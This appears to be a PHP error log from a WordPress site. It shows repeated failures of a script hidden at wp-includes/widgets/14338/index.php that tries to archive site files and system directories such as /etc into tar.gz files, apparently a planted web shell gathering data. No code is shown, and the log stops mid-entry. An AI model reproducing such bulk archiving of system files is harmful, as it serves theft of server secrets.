  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:23:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/avatar.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:24:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/xit-2x.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:25:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/utils.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:26:52 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:28:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpdialog.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:30:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/missing.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:32:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/details.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:32:58 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:32:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/columns.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:33:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/buttons.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:34:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/gallery.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:35:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mce-view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:35:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/template-part.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:36:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-title.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:36:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-terms.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:37:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/quote.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:43:57 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:50:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-title.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:52:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/categories.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:53:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/lib.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:54:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-text.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:54:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/autosave.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:55:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/src.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:57:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/backbone.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:57:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/navigation.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:00:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/heading.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/smilies.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/xit.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/spinner.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-models.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:02:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/heading.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/calendar.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cover.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wpspin-2x.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/table.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/clipboard.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:03:58 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shortcode.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:04:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/crystal.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:06:51 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:08:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-pagination-next.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:11:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/require-static-blocks.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:12:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/include.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:13:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/api-request.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:13:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/footer-embed.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:21:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-emoji-release.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:23:19 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/opt/cpanel/ea-php74/root/root): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 [internal function]: RecursiveDirectoryIterator->getChildren()
#2 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#3 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:23:26 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:25:03 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 18:26:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/html.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
